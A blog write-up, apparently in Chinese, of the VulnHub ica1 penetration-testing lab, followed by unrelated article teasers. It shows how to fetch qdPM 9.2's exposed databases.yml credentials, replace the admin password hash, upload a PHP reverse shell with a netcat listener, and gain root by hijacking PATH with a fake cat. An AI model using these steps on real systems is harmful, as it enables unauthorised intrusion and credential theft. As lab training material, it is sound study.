vulnhub——ica1.ova_qdpm9.2漏洞-程序员宅基地
技术标签： 网络安全
题目来源：Vulnerable By Design ~ VulnHub
题目：ica1.ova
题目类型：渗透靶机
解题过程：
一、信息收集
靶机(linux)：
攻击机(kalli)：192.168.3.25
辅助机（win）：192.168.3.18
-
发现主机
-
-
访问http试试看
有登陆界面试试sql注入
貌似不行。
跑一跑目录试试
没有什么东西。
看得到下面的qdpm9.2,搜索是否有漏洞
二、利用漏洞
cat /usr/share/exploitdb/exploits/php/webapps/50176.txt
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
# Date: 03/08/2021
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: https://qdpm.net/
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4
The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.
按照说明获取yml文件
wget http://192.168.3.12/core/config/databases.yml
┌──(root㉿kali)-[/usr/share]
└─#cat databases.yml
all:
doctrine:
class: sfDoctrineDatabase
param:
dsn: 'mysql:dbname=qdpm;host=localhost'
profiler: false
username: qdpmadmin
password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
attributes:
quote_identifier: true
获得mysql数据库信息
<mark>dbname:</mark>`qdpm`
<mark>username:</mark>`qdpmadmin`
<mark>password:</mark>`UcVQCMQk2STVeS6J`
- 连接数据库
- 查询数据库中有用得信息
重要的信息就都在这里了
可以看出管理员邮箱和密码
登录一下，密码错误，应该用加密的密码登录不了
查阅资料：
谈谈常见的加密和哈希值表示法:
- "$P$" 通常表示经过 PHPass 工具加密的密码哈希值。
- "{MD5}" 表示该字符串是 MD5 哈希值。
- "{SHA1}" 表示该字符串是 SHA-1 哈希值。
- "{SSHA}" 表示该字符串是 Salted SHA-1 哈希值。
- "$2a$" 表示该字符串是经过 Bcrypt 工具加密的密码哈希值。
- "$2y$" 也表示经过 Bcrypt 加密的密码哈希。
- "$5$" 表示经过 SHA-256 加密的密码哈希。
- "$6$" 表示经过 SHA-512 加密的密码哈希。
不同的前缀标识可以帮助快速识别字符串的加密方式,但不会透露真正的原文密码。
加密脚本：
from passlib.hash import phpass
# 加密
password = "ABCDEF"
hashed_password = phpass.hash(password)
print(hashed_password)
# 验证
if phpass.verify(password, hashed_password):
print("Password matched")
else:
print("Password did not match")
加密后得到值： P P PHZmfsh9BfQFM1jv92LYAU/L2p6/0Sh1
替换原来的值，现在密码就是ABCDEF了
登录
添加一个自己的信息，有管理员权限
-
上传 Reverse Shell
登录自己创建的账号
新建项目，上传Reverse Shell
-
寻找上传的文件位置。对网站目录进行枚举，发现
http://192.168.3.25/uploads/attachments/目录，上传的附件就保存在此处。 -
在本地终端监听端口。
nc -lvnp 8848
- 点击文件
php-reverse-shell.php，本机监听处收到请求，成功建立反弹shell
升级一下shell
python -c 'import pty; pty.spawn("/bin/bash")'
三、提权
搜索可执行文件，发现文件get_access
执行一下这个命令
- 尝试读取该文件的字符内容，发现
setuid字样，及cat读取root路径下文件的语句。猜测该程序先设置了UID，之后调用cat读取文件。可以考虑通过替换cat提权。
- 更改环境变量
cd /tmp
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH
四、获得Flag
这里是引用
智能推荐
机器学习模型评分总结（sklearn）_model.score-程序员宅基地
文章浏览阅读1.5w次，点赞10次，收藏129次。文章目录目录模型评估评价指标1.分类评价指标acc、recall、F1、混淆矩阵、分类综合报告1.准确率方式一：accuracy_score方式二：metrics2.召回率3.F1分数4.混淆矩阵5.分类报告6.kappa scoreROC1.ROC计算2.ROC曲线3.具体实例2.回归评价指标3.聚类评价指标1.Adjusted Rand index 调整兰德系数2.Mutual Informa..._model.score
Apache虚拟主机配置mod_jk_apache mod_jk 虚拟-程序员宅基地
文章浏览阅读344次。因工作需要，在Apache上使用，重新学习配置mod_jk1. 分别安装Apache和Tomcat：2. 编辑httpd-vhosts.conf： LoadModule jk_module modules/mod_jk.so #加载mod_jk模块 JkWorkersFile conf/workers.properties #添加worker信息 JkLogFil_apache mod_jk 虚拟
Android ConstraintLayout2.0 过度动画MotionLayout MotionScene3_android onoffsetchanged-程序员宅基地
文章浏览阅读335次。待老夫kotlin大成,扩展:MotionLayout 与 CoordinatorLayout,DrawerLayout,ViewPager 的 交互众所周知,MotionLayout 的 动画是有完成度的 即Progress ,他在0-1之间变化,一.CoordinatorLayout 与AppBarLayout 交互时,其实就是监听 offsetliner 这个 偏移量的变化 同样..._android onoffsetchanged
【转】多核处理器的工作原理及优缺点_多核处理器怎么工作-程序员宅基地
文章浏览阅读8.3k次，点赞3次，收藏19次。【转】多核处理器的工作原理及优缺点《处理器关于多核概念与区别 多核处理器工作原理及优缺点》原文传送门 摘要：目前关于处理器的单核、双核和多核已经得到了普遍的运用，今天我们主要说说关于多核处理器的一些相关概念，它的工作与那里以及优缺点而展开的分析。1、多核处理器 多核处理器是指在一枚处理器中集成两个或多个完整的计算引擎（内核），此时处理器能支持系统总线上的多个处理器，由总..._多核处理器怎么工作
个人小结---eclipse/myeclipse配置lombok_eclispe每次运行个新项目都需要重新配置lombok吗-程序员宅基地
文章浏览阅读306次。1. eclipse配置lombok 拷贝lombok.jar到eclipse.ini同级文件夹下，编辑eclipse.ini文件，添加: -javaagent:lombok.jar2. myeclipse配置lombok myeclipse像eclipse配置后，定义对象后，直接访问方法，可能会出现飘红的报错。 如果出现报错，可按照以下方式解决。 ..._eclispe每次运行个新项目都需要重新配置lombok吗
【最新实用版】Python批量将pdf文本提取并存储到txt文件中_python批量读取文字并批量保存-程序员宅基地
文章浏览阅读1.2w次，点赞31次，收藏126次。#注意：笔者在2021/11/11当天调试过这个代码是可用的，由于pdfminer版本的更新，网络上大多数的语法没有更新，我也是找了好久的文章才修正了我的代码，仅供学习参考。1、把pdf文件移动到本代码文件的同一个目录下，笔者是在pycharm里面运行的项目，下图中的x1文件夹存储了我需要转换成文本文件的所有pdf文件。然后要在此目录下创建一个存放转换后的txt文件的文件夹，如图中的txt文件夹。2、编写代码 （1）导入所需库# coding:utf-8import ..._python批量读取文字并批量保存
随便推点
Scala:访问修饰符、运算符和循环_scala ===运算符-程序员宅基地
文章浏览阅读1.4k次。http://blog.csdn.net/pipisorry/article/details/52902234Scala 访问修饰符Scala 访问修饰符基本和Java的一样，分别有：private，protected，public。如果没有指定访问修饰符符，默认情况下，Scala对象的访问级别都是 public。Scala 中的 private 限定符，比 Java 更严格，在嵌套类情况下，外层_scala ===运算符
MySQL导出ER图为图片或PDF_数据库怎么导出er图-程序员宅基地
文章浏览阅读2.6k次，点赞7次，收藏19次。ER图导出为PDF或图片格式_数据库怎么导出er图
oracle触发器修改同一张表,oracle触发器中对同一张表进行更新再查询时，需加自制事务...-程序员宅基地
文章浏览阅读655次。CREATE OR REPLACE TRIGGER Trg_ReimFactBEFORE UPDATEON BP_OrderFOR EACH ROWDECLAREPRAGMA AUTONOMOUS_TRANSACTION;--自制事务fc varchar2(255);BEGINIF ( :NEW.orderstate = 2AND :NEW.TransState = 1 ) THENBEG..._oracle触发器更新同一张表
debounce与throttle区别及其应用场景_throttle和debounce应用在哪些场景-程序员宅基地
文章浏览阅读513次。目录概念debouncethrottle实现debouncethrottle应用场景debouncethrottle场景举例debouncethrottle概念debounce字面理解是“防抖”，何谓“防抖”，就是连续操作结束后再执行，以网页滚动为例，debounce要等到用户停止滚动后才执行，将连续多次执行合并为一次执行。throttle字面理解是“节流”，何谓“节流”，就是确保一段时..._throttle和debounce应用在哪些场景
java操作mongdb【超详细】_java 操作mongodb-程序员宅基地
文章浏览阅读526次。regex() $regex 正则表达式用于模式匹配，基本上是用于文档中的发现字符串 （下面有例子）注意：若未加 @Field("名称") ，则识别mongdb集合中的key名为实体类属性名。也可以对数组进行索引，如果被索引的列是数组时，MongoDB会索引这个数组中的每一个元素。也可以对整个Document进行索引，排序是预定义的按插入BSON数据的先后升序排列。save: 若新增数据的主键已经存在，则会对当前已经存在的数据进行修改操作。_java 操作mongodb
github push 推送代码失败. 使用ssh rsa key. remote: Support for password authentication was removed._git push remote: support for password authenticati-程序员宅基地
文章浏览阅读1k次。今天push代码到github仓库时出现这个报错TACKCHEN-MB0:tc-image tackchen$ git pushremote: Support for password authentication was removed on August 13, 2021. Please use a personal access token instead.remote: Please see https://github.blog/2020-12-15-token-authentication_git push remote: support for password authentication was removed on august 1